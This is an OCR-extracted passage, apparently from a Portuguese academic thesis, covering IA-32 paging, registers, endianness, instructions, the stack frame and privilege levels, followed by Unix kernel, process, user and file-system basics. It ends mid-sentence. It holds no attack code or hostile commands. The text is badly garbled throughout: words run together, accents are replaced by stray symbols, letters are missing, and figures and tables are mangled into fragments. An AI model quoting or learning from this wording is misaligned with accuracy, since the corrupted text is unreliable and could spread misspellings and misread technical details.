3l 2221 1211 0
Diretario Tabela | Deslocamento

Pagina de 4KB

End. Fisico

Tabela de paginas

Diretorio de paginas
pag -

Ertrada na TP
Entrada no DP —r

I CR3

Figura 7: Tradu@o deendereoslinearesusandgagina@o (INTEL, 2003)
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Quandaa paginaé@oé utilizada,o endereo linear é dividido emdiversagartes:

e Bits 31 a 22 tem o deslocamentparauma entradana tabelade diretorio. A entrada
selecionad#&orneceabasedo endereo fisicode umatabelade paginas.

e Bits21 a 12 temo deslocamentparaumaentradanatabeladepaginaselecionadaEssa
entraddornecea basedo endereo fisicode umapaginanamenoriafisica.

e Bits0 a 11 temo deslocamentparaum endereo fisiconapagina.

O PDE (page directory entry, entradano diretorio de paginas),e o PTE (page table entry,
entradanatabelade paginas)aorepresentadoa seguir:

Page Directory Entry
31 12 9876543210

| End. base na tab. de paginas bisp | (51 ﬂ 0 | F'L| 8 E % % F'|

Page Table Entry
31 12 9876543210

| Endereco base da pagina bisp | (51 d D| F't| 8 E % % F'|

Figura 8: Page DirectoryEntry e Page Table Entry (INTEL, 2003)

Osbits 31 a 12saousadoparadeterminaio endereo basedatabeladepaginae dapagina.
Osoutroscampossaodescritosa seguir:

¢ flag P: indicasepaginaest presenteemmenbria ou rio, seum programaentaacessar
umapaginaondeo bit ndoest setadoumaexce@o defalhade paginaé gerada;

e R/Wflag: especificasea paginaé podeserescrita(bit setado)u apenadeitura;

e U/Sflag: especifica privil égiodapagina.Se obit naoest setadoa paginapossuinivel
desupervisorcasocontrario € nivel de usLario;

e WTflag: determinao tipo de cacheutilizadoparaa paginaou tabelade pagina:seestver
setadog utilizadowrite-through(quandaumaescritaé realizadag escritotantono cache
guantonamenbria). Casocontiario, write-backé utilizado(escritasaorealizadagpenas
nocacheg depoissaofeitasnamenbriaquandaumaopera@o dewrite-backérealizada);

e CD flag: desabilitab cacheparaa paginaoutabelade pagina;

¢ Aflag: indicaseapaginafoi acessadau réo.
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D flag: indicasea paginafoi modificada.

Al flag: selecionab indicedeatributosdapagina.Foi apenasitilizadonosprocessadores
Pentium3 e ndosaorelevantesparaestedocumento;

PSflag: indica o tamanhoda pagina. Se réo estiver setado,a paginaé 4KB. Paginas
maioresque4KB naosaorelevantegparaestedocumento;

G flag: indicasea paginaé globalou rao. Sefor global,elanaoseiaremaovidado TLB
guandoum novoendereo € lido no registradorcr3.

Comoo endereamentgpaginadaem um grandeimpactona performanceseum endereo

tiver que serpesquisaddodaa vez que for requisitado,0 processadoarmazena paginade
diretorio e asentradaglatabelade paginasemum cachep TLB (translationlookasidebuffer).

Quandoo TLB ficacheio,o processadocome@ aliberarespao paranovasentradasA partir
dafamilia Pentiumo processadoarmazenaacheslLB separadosym parainstrugdese outro
paradadoschamadosleITLB (instructiontranslatelookasidebuffer) e DTLB (datatranslate
lookasidebuffer).

255 REGISTRADORESBASICOS

O processadofornecel6 registradoresasicosque sao utilizadospelo sistemae tambkem

naprogramaao deaplica®es(Figura9). Saoeles(INTEL, 2003):

Registradoresde propositogeral: oito registradaes(EAX, EBX, ECX,EDX, ESI,EDI,
EBP e ESP)que esto disporiveis paraarmazenaoperandogparaoperadeslogicase
aritméticas,e paracalculosde endereos) e ponteiros. Eles maneém a compatibilidade
comarquiteturasnteriorespodendcseracessadoatrasesde (AX, BX, CX, DX, SI, DI,
SPe BP, todosde 16 bits) e tamkem compatibilidadecom 8 bits (AH, BH, CH, DH, AL,
BL, CL e DL). Apesarde cadaum estardisporivel paraarmazenamentgererico, eles
possuenpropositosde uso: EAX (acumuladomparaoperandos dadosde resultados),
EBX (ponteiroparadadosno sggmentoDS), ECX (contadorparaopera®esde string e
loop), EDX (ponteirode I/0O), ESI (ponteiroparadadosno segmentoapontadgoor DS
e origemparaoperag®escom string), EDI (ponteiroparadadosno segmentoapontado
por ES e destinoparaopera®escomstring), ESP(ponteiroparao topodapilha) e EBP
(ponteiroparaa basedapilha).

Registradoresde segmento sao seisregistradoreqCS, DS, SS,ES,FSe GS)quear-
mazenanosseletoresle segmentode 16 bits. Um seletorde segmentoé um ponteiroes-
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pecialqueidentificaum seggmentonamenbria. Quandoseutiliza 0 modelode menbria
flat, 0s6 registradoregpontanparao mesmaoendereo linear, e osdadogpodemseraces-
sadoautilizando-saum offset(deslocamento)Jano modelosggmentadogcadaregistrador
é ordinariamentecarregado com um diferenteseletorde segmento,de tal maneiraque
cadaregistradoraponteparaumaregiao diferentedentrodo espao de endereamento
linear Cadaum dosregistradoresde sggmentotem associada@ si um dostipos de ar-
mazenamentocodigo, dadosou pilha. O registradorCS coném o seletorde segmento
parao seggmentode codigo, ondeasinstru@essao armazenadag ele nao podesercar
regadoexplicitamentecomdadosdo programadagrpoisé controladamplicitamentepelo
processadorO registradorSS apontaparao segmentode pilha e podeser modificado
explicitamente.OsoutrossegmentosPS, ES, FS e GS, apontamparaquatroseggmentos
dedados,0 quepermiteacessaseayuro e eficientea quatrotipos diferentesde estruturas
dedados.

EFLAGS(registrador de statuse controle do programa): reportao statusdo programa
sendoexecutadce permiteum controle(limitado) do processador

EIP (registrador de ponteiro para instru¢ao). conémo offsetdentrodo sggmentode
codigoatualqueseid aproximainstru@o a serexecutadee € controladoimplicitamente
peloprocessador



Registradores de propésito geral
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Registrador de status e controle do programa
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Registrador de ponteiro para instrucao
31 0

Figura 9: PrincipaisregistradoresialA-32 (INTEL, 2003)

2.5.6 BIGENDIANELITTLEENDIAN

Existem2 tiposde ordengé@o debyte

e little endian tamkemchamadale Intel byteoder;

¢ big endian tamkemchamadale motoola ou networkbyteoder.
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Little endianquer dizer que o LSB (least significantbyte byte menossignificatvo) de um

inteiro multibyte sea armazenadmo endergo mais baixo. Enquantoque em big endian o

MSB (mostsignificantbyte byte maissignificatvo) se& armazenadmo endereo maisbaixo.

Porexemplo,um inteiro com o valor hexadecimal0x1234567&efor armazenada partir da

posic@o0 emmendria, seriaarmazenadocomopodeservisto naTabela2 (HOWTO, 2000):

ComovemosnaTabela2, big endiané maislegivel. No entantolittle endiansemostramais

eficientequandadha anecessidadde truncarum valor deum inteiro paratamanhosnenores.
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Tabela2: Big Endiane Little Endian

mem | [0] | [1] | [2] | [3]
LE 0x78 | Ox56 | 0x34 | Ox12
BE 0x12 | Ox34 | Ox56 | Ox78

2.5.7 TIPOSDE OPERANDOSEM INSTRUQ@ES

As instru@esda arquiteturalA-32 atuamem zeroou maisoperandosAlguns sao especi-
ficadosexplicitamenteem uma instru@o e outros sao implicitos. Os dadosque podemser
utilizadoscomoorigememumainstru@o podemserdosseguintestipos (INTEL, 2003):

e Um operador imediato: saodadosfixos fornecidosparaa instru@o, por exemplo: add
EAX,14 (adicional4 aocontdidodo registradorEAX). Naopodemsermaioresque23?,

e Um registrador: podemserutilizadosos registradoresle propdsito geral, registradores
de sggmento, o registrador EFLAGS, os registradoresx87, os registradoresMMX e
XMM, registradoreglecontrole(CROateCR4),registradoresle ponteiroparaastabelas
desistemaregistradoresie delug e registradoreMSR.

e Umaregido dememoria: sdoreferenciadosio formatode segmento:ofset com 16 bits
parasegmentoe 32 bits parao offset por exemplo: mov ES:[EBX], EAX (move o valor
do registradorEAX no sggmentoapontadagpelo registradorES com um deslocamento
(offse) contidono registradorEBX).

e Uma porta de E/S: o processadosuportaum espao de endereamentode E/S de até
65536portasde E/Sde 8 bits. Elapodeserutilizadacomooperandatrasesde um valor
imediatoou comoum valor no registradorDX.

Quandaainstru@oretornadadosparaum operandaledestino elepodeserretornadgara
um dosseayuinteslugares:

e Um registrador.
e Umaregiao dememobria.

e Uma porta deE/S.
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Tabela3: Algumasinstru@esdalA-32 (emsintaye Intel)

Instrugao Sintaxe Descricdo

mov mov dest src Copiao contdidode src emdest

add adddest src Adicionaemdesto valor desrc

sub subdest src Subtraidedesto valordesrc

push pushalvo Empurrao valoremalvo napilha

pop popalvo Retiraum valor dapilhae poeemalvo

jmp jmp endere@ | Trocao valor contidoemeip parao valoremendeem
int int valor Chamaainterrup@ovalor

2.5.8 INSTRUCOESDE PROPOSITO GERAL

As instru@esde proposito geralrealizamopera®esbasicasde: movimentode dados ar-
itmética,logica,fluxo de execu@oe opera@ocomstringsqueosprogramadoreasamparaes-
crever aplicadesquerodamnaarquiteturd A-32. Elasoperamemdadoscontidosnamenria,
nosregistradoregle proposito geral,nosregistradoresie sggmentoe no registradorEFLAGS.
A Tabela3 lista asprincipaisinstru@esutilizadas(INTEL, 2003).

2.5.9 A PILHA

O processadosuportachamadasle procedimentosasseguintesmaneirasinstru@escall
eret, einstru@®esentere leave quetrabalhamem conjuntocomasinstrudescall eret Esses
doismecanismosisamapilhadeprocedimentopusimplesmentgilha, para:salharo estadalo
procedimentachamadqgrpassagende paametrogparao procedimentachamadog armazenar
variaveislocaisparao procediment@emexecu@o (INTEL, 2003).

A pilhaéumtipo abstratadedadosguepossuia caracteisticadeserLIFO, lastin, firstout,
ouseja,o primeiroitem adicionadce o primeiroa sair Emmenbria, apilhaéapenasimarray
configuodelocaisde menbria. Ela est contidaem um segmentoe € identificadapelo seletor
de sgmentono registradorSS.Ela podeter um tamanhade 4 gigabytestamanhamaximo de
um sggmento. Os itenssao colocadosa pilha usandaa instruc@o pushe removidos da pilha
atravésdainstru@opop.

Quandoum item & colocadonapilha, o processadodecrementa registradoresp e enfio
escree o item novo notopo dapilha. Quandoum item é retiradodapilha, o processadole o
item dotopodapilha, e enfioincrementao registradoresp Dessamaneiraa pilhacrescepara
baixo (emdirecao aoendereo maisbaixo) quandaditenssao colocadoshapilha e diminui para
cima(emdirec@o aoendereo maisalto) quandaitenssaoretiradosdapilha.
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Um programaou sistemapperacionapodepossuirmuitaspilhas. Issoé utilizado em sis-
temasmultitarefa, ondecadatarefa possuia suapropria pilha. O nimerode pilhasemum sis-
temaélimitado pelonUmeromaximodesegmentos aquantidadelemenbriafisicadisporivel.

Quandoum sistemapossuimuitas pilhas, apenasuma est disporivel por vez: a pilha
atual. A pilha atual &€ aquelacontidano segmentoreferenciadgelo registradorSS O pro-
cessadoreferenciao registradorSSautomaticamentparatodasasopera®escom pilha. Por
exemplo,quandoo registradorespé utilizadocomoum endereo de menbria, ele automatica-
menteapontaparaum endereo napilha atual. Alémdisso,asinstru@escall, ret, push,pop,
entere leaverealizamopera®esnapilha atual (INTEL, 2003).

O processadopossuidois ponteirosparaa ligagdo deprocedimentoso ponteirobasepara
o stak-frame(quadrodepilha, ouregistrodeativacao)e o ponteiroreturninstruction(endereo
deretorno).

A pilha & tipicamentedividida em quadros(Figura10). Cadaquadroda pilha podepos-
suir variawveis locais, patametrosa serempassadoparaoutro procedimentce informa@o para
ligacao deprocedimentosO ponteirobasedo quadroatual(contidono registradorebp identi-
ficaum pontodereferénciafixo dentrodo quadrode pilha parao procedimentahamadoPara
usaresseponteirode quadro,0 procediment@hamadayeralmenteopiao valor do registrador
espno registradorebpantesde empilharsuasvariaweislocais.

Com isso, 0 ponteirode quadropermite acessdacil as estruturasde dadospassadasa
pilha,aoponteirodeendereo deretornoe asvariaveislocaisadicionadagaraa pilha pelopro-
cedimentachamado O ponteirode endereo deretornoé empilhadcautomaticamentantesde
umainstru@ocall, e € o endereo queapontgparaainstru@oondea execu@odo procedimento
chamadodeve retornarem consedjénciado retornodafungdochamada.

O processadonao se preocupacom a veracidadealessevalor, portantoé de cargo dopro-
gramador/sistemaperacionalassgurar que ele apontaparao local certo. A passagente
parametrosentreprocedimentopodemserfeitosdetrésmaneirasatrasesdosregistradoresie
proposito geral,um ponteiroparaumalista de aggumentogque seencontrannamenbria) ou
pelapilha (INTEL, 2003).
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Segmento de pliha

| ~=— Valor inicial do ESP

variaveis locais da fungao
chamadora

Parametros passados pra
funciao chamada

O EBP geralmente aponta
pro enderecgo de retorno

Limite do quadro
Endereco de retorno — EBP
—— ESP
Topo da pliha
push move o topo pop move o topo
da pliha para um da pliha para um
endereco mals balxo endereco mals alto

Figura 10: Estruturadapilha (INTEL, 2003)

2.5.10 NIVEIS DE PRIVILEGIO

Na arquiteturalA-32, 0 mecanismale prote@o fornece4 niveis de privilégio, numerados
de 0 a 3, ondeos maioresnumerossignificamniveis menosprivilegiados. A principal razao
parao usodessesiveis privilegiadosé aumentai confiablidadede sistemasperacionaisO
nivel maisalto de privil égio, o nivel 0 (zero), & usadopor segmentosque conem os codigos
maiscriticos no sistemageralmentea partecentraldo sistemaoperacional.Os outrosniveis,
sao utilizadospor programagyue possuentodigosmenoscriticos. O acessale niveis menos
privilegiadosa modulosmaisprivilegiadosso € possvel atravésdeumainterfacerigorosamente
controladae protggidachamadayate Qualquertentatva de acess@ umacamadamaisprivi-
legiadasempassaipelo gatede prote@o ou sempossuirdireitossuficienteggeraumaexce@o
(INTEL, 2003).

2.6 SISTEMASOPERACIONAIS

Nestase@overemoso funcionamentale um sistemaoperacionatradicionale emseguida
comoo Linux seencaixanosconceitodasicos.
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2.6.1 CONCEITOSBASICOS

Cadacomputadorpossuium conjunto basicode programaschamadode sistemaopera-
cional. Dentrodo sistemaoperacional se encontrao principal componenteeonhecidocomo
kerneP, queé carregadonamenbria quandoo sistemainicia e possuios procedimentosnais
criticosparao ban funcionamentalo sistemaPorisso,o kernelasvezessetornasindbnimode
sistemaoperaciona(BOVET; CESATI, 2003).

O sistemaoperacionatieve cumprir doisobjetivos principais:

e interagir como hardware, trabalhando com oselementosde baixo nivel doselemen-
tos do hardware;

e fornecerum ambiente de execu@o estvel e confiavel para as aplicagdesque serao
executadagprogramasde usuario).

Algunssistema@peracionaipermitemqueo usLario acesseliretamente hardware, como
0 MS-DOS.Em um Unix-like, quandoum programaprecisaacessaum dispositvo de hard-
ware, eledeve primeiropedirpermis&o acsistemaoperacional O kernelentioavaliao pedido
decidindoseo programgpossuio direito deacessao recurso(BOVET; CESATI, 2003).

Parautilizar essamecanismogssistemagperacionaisnodernositilizam caracteisticasdo
hardware queproibemqueprogramasleustario acessendiretamentelispositvosdehardware
ou acesseaegidesde menbria arbitrarios. O hardware implementapelo menosdois modos
de execu@o paraa CPU: um modo nao-prvilegiado paraprogramasie ustario e um modo
privilegiadoparao kernel O Unix oschamade Modo ustario e modokernel respectramente
(BOVET; CESATI, 2003).

2.6.2 SISTEMASMULTIUSUARIO

Um sistemamultiusiario € aqueleque & capazde executarconcorrentemente indepen-
dentementéarefaspertencentea dois ou maisustarios. Concorrentementgquerdizer queas
aplica®despodemestarativasao mesmotempoe podendautilizar variosrecursoscomoCPU,
menoria e discorigido. Independentementguer dizer que cadaaplica@o poderealizarsua
tarefasemter quesepreocupacomo queestsenddeito pelasaplicadesdosoutrosusLlarios.

Ossistemaoperacionaisnultiusiario devem possuircaracteisticascomo:

9kernelé o "coragao” de um sistemeoperacional E ele quecuidade tarefiscomogerenciamentale menbria
€ processos.
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e Uum mecanismode autenticacdo para verificar aidentidade do usuario;

e um mecanismode protecdo contra programasde usuarios mal projetadosque po-
dem bloquear outras aplicagdessendoexecutadasno sistema

e Um mecanismode protecdo contra programas maliciososde usuarios que poderiam
interferir ou espionarem atividadesde outrosusuarios;

e UM mecanismode contasque limite a quantidade de recursodesignadopara cada
usuario.

Paragarantiressesnecanismosdeprote@o,ossistema®peracionaisievemusaraprote@o
de hardware existenteno modoprivilegiadoda CPU. Casocontrario, um programade usLario
poderiaacessans componentesio sistemae superaras restriddesimpostas. O Unix & um
sistemaoperacionaimultiustario que forca aprote@o dehardware dosrecursosdo sistema
(BOVET; CESATI, 2003).

2.6.3 GRUPOSE USUARIOS

Em um sistemamultiusiario, cadausiario possuium espao privadonamaquina,e o sis-
temaoperacionaldeve garantir que esseespao sejavisivel apenagarao seudono, ou seja,
ele deve assgurarque nenhumoutro ustario possaexplorar umaaplica@o do sisemacomo
propositodeviolar o espao privadode outroustario (BOVET; CESATI, 2003).

Todososusiariossaoidentificadogpor um GniconiimerochamaddJserID, ou UID. Cada
ustario possuium login (homede uslario) e suarespectia senha.Se oustario nao fornecer
um parvalido, o sistemanega 0 acessoAssumindo-s&juea senhaé secretaa privacidadedo
ustario € garantida.Paracompartilhammaterialcomoutrosusiarios,cadausiario € membrode
um ou maisgrupos,0s quaissaoidentificadogpor um Gniconimerochamadale Group D, ou
GID. Cadaarquio € associad@um Unicogrupo.Porexemplo,0 acess@um arquivo podeser
configuradadetal maneiraa permitir queo propriefrio possugermis§o deleiturae escrita,0
grupopossugermis§oapenasleleitura,e osdemaisnaotenhampermisgoalguma.

QualquersistemaoperacionalUnix-like possuium ustario especialchamadaroot, supe-
ruser, ou supervisor O administradode sistemadeve conectarsecomoroot paragerenciams
contasde usLario, realizartarefasde manutenao comobadkupse atualiza®esde programas,
entreoutros. O uslario root podefazerquaseudo, ja queo sistemaoperacionahao aplicaas
restriddescomunsa ele. Mais especificamentey root podeacessagualquerarquivo no sis-
temae podeinterferir coma atividadede qualquemprogramade usiario em execu@o (BOVET;
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CESATI, 2003).

2.6.4 PROCESSOS

Todosos sistema®peracionaisitiizam umaabstrgéo fundamentalo processolUm pro-
cessopode ser definidocomo "umainstanciade um programaem execu@o” ou Como "um
contto de execu@o” deum programarodando. Nos sistemasperacionaigradicionais,um
processaxecutaumasedienciade instru@esemum espao de endereamento.O espao de
endereamentoé um conjuntode endereos de menbria que o processgossuipermis&o de
acessar

Os sistemasnultiustario devem fornecerum ambientede execu@o no qual diversospro-
cessopodemestarativos concorrentemente utilizandorecursosio sistemaprincipalmentea
CPU. Sistemagjue permitemprocessogoncorrentesao conhecidosomomultiprogramados
oumultiprocessados.

Em sistemasiniprocessadogpenasim process@odeestaremexecu@o naCPU.Um sis-
temaoperacionapossuium componentehamadcescalonadgruedefinequal processseia
executado. Alguns sistemasoperacionaigermitemapenagrocessoiao-preempteis, que
guerdizer que o escalonadoe apenaschamadaoguandoo processajue estara em execu@o
voluntariamentdiberaa CPU. Mas processosle um sistemamultiustario devem serpreemp-
tivos, com o sistemacontrolandoquantotempocadaprocessadtiliza a CPU, e deve ativar o
escalonadoperiodicamente.O Unix &€ um sistemaoperacionalimultiustario com processos
preemptvos (BOVET; CESATI, 2003).

SistemasoperacionaigJnix-like adotamo modeloprocessdiernel Cadaprocessdem a
ilusao dequeé o Unico processaa maquinae tem acessaexclusivo aosservims do sistema
operacionalQuandoum processaealizaumachamadale sistemajsto €, umachamadagarao
kernel o hardware mudao modo de execu@o demodoustario paramodokernel e o processo
inicia a execu@o do procedimentacom um proposito ligeiramentelimitado. Dessamaneira,
0 sistemaoperacionaktuadentrodo contexto de execu@o do process@arasatishzero seu
pedido. Quandoa requisi@ofor satisfeita,0 kernelforca o hardware pararetornarparamodo
USLArio e 0 processa@ontinuaa suaexecu@o a partir dainstru@o aps a chamadale sistema
(BOVET; CESATI, 2003).

2.6.5 ARQUITETURA DO KERNEL

Existem2 abordagensearquiteturado kernel (BOVET; CESATI, 2003):
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e monolitico: cadacamadado kernel & integradaemum Unico programade kernel e roda

emmodokernet

e microkernel: o kernel possuium conjuntopequenade fungdes, geralmentancluindo
algumasprimitivasde sincronizaéo, um escalonadoe um mecanismale comunica@o
interprocessoDiversosprocessogjuerodamem cimado microkernelimplementamas
outrasfungdesdo sistemabperacionalcomoaloca@&o demenbria, devicedriverstC. Este
tipo de arquiteturapossuiumadeswantagenmemrelac@o aomonoltico, poisa passagem
demensagenentreascamadag custosaPossuvantagenseoricas,poisforcaosprogra-
madoresa usaremumaabordagemmodularizadafacilitam a portabilidade g fazemum
melhorusoda menoria, ja que partesgue nao estio sendoutilizadaspodemserdescar

tadas.

Para atingir as vantagensle microkernels,o kernel do Linux possuimoddulos. Um médulo é
um arquio objetoque podeseraneado (e removido) ao kernel em tempode execu@o. As
vantagengrincipaisdo usode modulossao (BOVET; CESATI, 2003):

e Uma abordagemmodularizada: ja quequalquemoédulo podeseranexadoe remaovido
emtempode execu@o, os programadoreslevem utilizar interfacesbem definidaspara
acessaasestruturagledadoscontroladagpelosmodulos.lssofacilita o desemolvimento

denowsmodulos;

¢ independénciade plataforma: os modulosnao dependende umaplataformade hard-
ware fixa, um exemploé o driver SCSI, que funcionatanto paraPCscompatveis com

IBM quantoparaarquiteturaalphadaHP;

e nao ha perda de performance aoseraneado,o codigoobjetode um mbédulo é equiv-
alenteao codigo objetode um kernel compiladoestaticamenteEntretanto nao ha pas-
sagende mensagensxplicitasquandoasfunpgdesdo modulosaochamadas.

2.6.6 VISAO GERAL DE UM SISTEMADE ARQUIVOSNO UNIX

Um arquivo Unix € um containerdeinforma@esestruturad@omoumasediénciadebytes,
o kernelnaointerpretao contdido do arquivo. Do pontode vistado ustario, arquivos a0 or-
ganizadoemumaarwre,comomostraa figurall. Todosos nos daarvore, excetoasfolhas,
indicamnomesde diretbrios. Um nd de diretorio coném informadessobreos arquivos e di-
retoriosdentrodele.Um nomedearquivo oudiretorio consisteemumasediénciade caracteres

devicedrivers sao programasjuefazemainterago comdispositvos de hardware
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ASCII arbitrarios,coma exce@odoscaractered/” e”0” (o caracteraulo). A maioriadossis-
temasdearquivoslimitam o tamanhade um nome,geralmentaao passandde 255 caracteres.
O diretorio correspondenta raiz da arvoreé chamadade "diretorio root”. Por corven@o, o
seunomeé umabarra(/). Osnomesdevem serdiferentesdentrodo mesmaodiretorio, maso
mesmaonomepodeserusadoemdiferentediretorios (BOVET; CESATI, 2003).

Figura 11. Um exemplode arvoredediretorios do Unix

O Unix associa diretorio detrabalhoatualcomcadaprocessopertencendaoconteto de
execu@o do processoidentificandoo diretorio atualmentaisadopor ele. Paraidentificarum
arquivo espedico, o processautiliza um caminhodearquivo, queconsistede barrasalternando
com umasediénciade nomesde diretorios quelevamao arquivo. Se oprimeiroitem do cam-
inho € umabarra,enfio o caminhoé absolutoja queo seupontode partidaé o diretorio root.
Casocontrario,seo primeiroitem & umdiretdrio ou um nomedearquivo, 0 caminhoé relativo,
jaqueo pontode partidaé o diretorio atual. Ao seespecificanomesde arquivos, asnota®es
"” e "..” tamkem sdo usadas.Elasindicam o diretorio de trabalhoatual e o diretorio pai,
respectramente.Se odiretorio de trabalhoatual € o diretorio root, enfio”.” e ”..” coincidem
(BOVET; CESATI, 2003).

Osarquivosno Unix podemserdosseguintestipos (BOVET; CESATI, 2003):

e Um arquivoregular,

Um dir etorio;

Um link simbolico;

Um arquivo dedispositivo orientado a blocg;

Um arquivo dedispositivo orientado a caractere;

Um pipee um pipenomeadq
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e Um Sodket

Os trés primeirosfazempartede um sistemade arquivos padiao Unix. Link simbblicos
sS40 arquivos pequenogjue contemum caminhoarbitrario paraoutro arquivo. Arquivos de
dispositvo estiorelacionadosomtarefasde E/S e device drivers integradosno kernel Pipes
e sokets sao arquivos especiaigitilizadosparacomunica@o interprocessgBOVET; CESATI,
2003).

O Unix fazumadistind@o claraentreo contdido de um arquivo e ainformago sobreum
arquivo. Comexce@odosarquivosdedispositvo e osarquivosespeciaisgadaarquivo consiste
deumasedqiénciade caracteresO arquivo naoinclui nenhumanformag@o decontrole,como
o seutamanhoou um delimitadorEOF. Todaa informa@onecesariapelosistemade arquivos
paracontrolarum arquivo est incluido em umaestruturade dadoschamadanode Cadaar-
guivo possuio seuproprio inode o qualé utilizado pelo sistemade arquivo paraidentifica-lo.
O padi@o POSIXespecificans sgyuintesatributosdo inode(BOVET; CESATI, 2003):

tipo dearquivo;

e numero delinks associadosom o arquivo;

e tamanhodo arquivo embytes

e identificador do dispositivo que contéem o arquivo;

e nlumero inodequeidentifica o arquivo dentro do sistemade arquivos
e UID do dono doarquivo;

e GID doarquivo;

¢ diversosmarcadoresdetempoqueindicam o Gltimo acess@oarquivo, Gltima modificacao

do arquivo e tltima modificacdo do statusdo arquivo;

e direitosde acesse modo do arquivo.

Osusuariosde arquivos seencaixamem 3 catagyorias(BOVET; CESATI, 2003):

e Ousuario que édono doarquivo;
e Osusuarios que pertencemao mesmogrupo do arquivo, semincluir o dong;

e OSsoutrosusuarios;
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Existemtréstipos de direitosde acessoleitura, escritae execu@o, e paracadadessetrés
classes.Portanto,a definicdo dedireitosde acessassociadogs um arquivo consistede nove
indicadores.Ostrésindicadoresadicionaischamadosuid (SetUser ID), sgid (SetGroup ID)
e sticky, definemo mododo arquivo. Essedrésindicadoregém os segguintessentidosquando
aplicadosa arquivos execufaveis (BOVET; CESATI, 2003):

e suid: Um processoque executaum arquivo normalmentemaném o UID do dono do
processoEntretantoseo arquivo executivel possuio indicadorsuid definido,o processo
rodacomoo UID do dono daarquwvo;

e sgid Um processajue executaum arquivo hormalmentemaném o GID do dono do
processoEntretantoseo arquivo executivel possuio indicadorsgid definido,o processo
rodacomoo GID do grupodo arquio;

e sticky: umarquio quepossuiesteindicadorsetadanformaaokernel paraqueele man-
tenhao programanamenbria apds o terminode suaexecu@o.

2.6.7 VISAO GERAL DO KERNELDO UNIX

Comoja mencionadca CPU poderodar ou em modo ustario ou em modo kernel Na
verdadealgumasCPUs podemter mais do que dois estadosde execu@o. Por exemplo, os
processadoregaarquiteturantel possuenguadroestadosieexecu@odiferentesporemtodos
os kernelsUnix padi@&o utilizam apenasdois. Quandoum programaé executadoem modo
usLario, ele nao podeacessadiretamenteasestruturasie dadosdo kernel ou os programasio
kernel Quandoumaaplica@o executaem modokernel nao harestricdo alguma. CadaCPU
forneceinstru@esespeciaiparatrocarde modoustiario paramodokernel e vice-versa. Um
programageralmenteé executadoem modousLario, e trocaparamodokernel apenagjuando
requisitaum servi@ fornecidopelokernel Quandoo kerneljarealizouo pedidodo programa,
eleé colocadode novoemmodoustario (BOVET; CESATI, 2003).

Processosao entidadeglinamicasque geralmentdem um tempode vida limitado dentro
deumsistemaA tarefadecriacdo,elimina@o, e sincroniza@o deprocessosxistente£ tarefa
deum grupoderotinasno kernel O kernel por si s nao € um processomasum gerenciador
de processos.O modeloprocessdfernel assumeque cadaprocessajue necessitede tarefas
realizadaspenagpelokerneluseaschamadasle sistema Cadachamadale sistemaconfigura
um grupode pametrogjueidentificaa requisi@o do processae enfio executaa instru@o de
CPUresponéawel pelatrocade modoustario paramodokernel (BOVET; CESATI, 2003).
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SistemadJnix incluemum conjuntopequenade processo®rivilegiadoschamaddkernel
threads comas sguintescaracteisticas(BOVET; CESATI, 2003):

¢ elesrodamemmodo kernel e no espa® deenderecamentodo kernel,

e elesnao interagem com usuarios, e portanto nao necessitamde dispositivos de ter-
minal,

e 540 geralmentecriados durante a inicializacao do sistemae permanecemrodando
até o desligamento

Em um sistemauniprocessadogpenasum processcest em execu@o por vez e eleroda
ou em modoustario ou modokernel A Figural2 ilustra exemplosde transi®esentremodo
usiario e kernel Na figura, o Processdl realizauma chamadade sistema,e 0 processce
alteradoparamodokernel e o pedidoé executado.O Processdl enfio continuaa execu@o
emmodoustLario, att queumainterrup@odo timer ocorree o escalonadoé ativadoemmodo
kernel Umatrocade processc realizadae o Process@ inicia suaexecu@oemmodousLlario
ate umdispositvo dehardware erviar umainterrup@o. Comoconsedjéncia,o Process@ troca
paramodokernele sene ainterrup@o (BOVET; CESATI, 2003).

USER MODE

KERNEL MODE

System call Intemrupt
handler Scheduler handler

Spstem ol Tiemer frternup Devive fntermup

Figura 12: Trocadeconteto

OskernelsUnix realizammuito maisdo queapenasontrolarchamadasle sistemaAs rotinas
dekernelpodemserativadasdaseguintemaneira(BOVET; CESATI, 2003):

e um processaealizauma chamadade sistemg

e 0 processajue esth em execy@o na CPU envia um sinal de exce@o, o qual € uma
condicdo incomum como uma instru¢ao invalida. O kernel controla a exce@o do
processajue causoy
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e um dispositivo periférico envia um sinal de interrupc ao para aCPU para notificar
um evento como requisicio de atencdo, mudanca de status, ou o término de uma
operacdo deE/S.Cadasinal deinterrupc ao é controlado por um programado kernel
chamadointerrupt handler,

e uma kernelthread é executadaportanto, fazendoparte do modo kernel.

Parapermitir o gerenciamentale processopelokernel cadaprocessa representadpor
um descritorde processauepossuinformadessobreo estadaatualde um processoQuando
o kernelinterrompea execu@o deum processogle salva o contelldode diversosregistradores
no descritorde processoOsregistradoresao (BOVET; CESATI, 2003):

osregistradoresPC, contador de programa, e SP, ponteiro do topo da pilha;

osregistradoresde proposito geral,

osregistradoresde ponto-flutuante;

osregistradoresde controle do processador

osregistradoresde gerenciamentode memoria;

Quandoo kerneldecideresumira execu@o do processogle utiliza os camposcorretos do
descritorde process@aracarregar a CPU com os valoressalvos. Dessananeira,0 programa
podecontinuarsendoexecutadale maneirasegura. Quandaum processmaoest emexecu@o
naCPU,eleestiaguardand@or algumevento. OskernelsUnix distinguemmuitosestadosie
esperaps quaissaoimplementadogeralmentepor filas de descritoresie processocom cada
fila correspondenda um conjuntode processogsperandgor um eventoespedico (BOVET;
CESAT1, 2003).

Os kernelsUnix sao reentrantesisso quer dizer que diversosprocessopodemestarem
execu@oemmodokernelaomesmatempo.Em computadoresiniprocessadosnuitospodem
estarbloqueadsemumafila ate que possanretornara execu@o. Cadaprocess@mexecu@o
possuio seuespao privadode endereos. Um process@mexecu@o emmodousLario possui
areasprivadasde pilha, codigo e dados. Quandoest rodandoem modo kernel o processo
enderea dadose addigo do kernel e usaoutrapilha. Como o kernel & reentrantediversos
processogstaioemexecu@oemmodokernel cadaum referenciando-sa suapropriapilha.
Poem, existem processogjue compartilhamsuasareascom outros processoscomo forma
de reduziro usode menbria. Issopodelevar a certasinconsisénciasde dados,e portanto,
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métodosde sincroniza@o foramintroduzidos.Entreasmaneiragle sincronizaresto: utilizar
kernelsnao-preempteis, desabilitarinterrup@esenquantaestver emmodokernel utilizacao
desenaforose utilizacao despinloks (BOVET; CESATI, 2003).

O Unix possuisinais(signalg queforneceum mecanismgoaranotificarprocessosleeven-
tos do sistema. Cadaeverto possuio seuproprio numerode sinal, o qual &€ geralmenteef-
erenciadoccomoumaconstantesimbolica como SIGTERM. Existemdois tipos de eventosdo
sistema BOVET; CESATI, 2003):

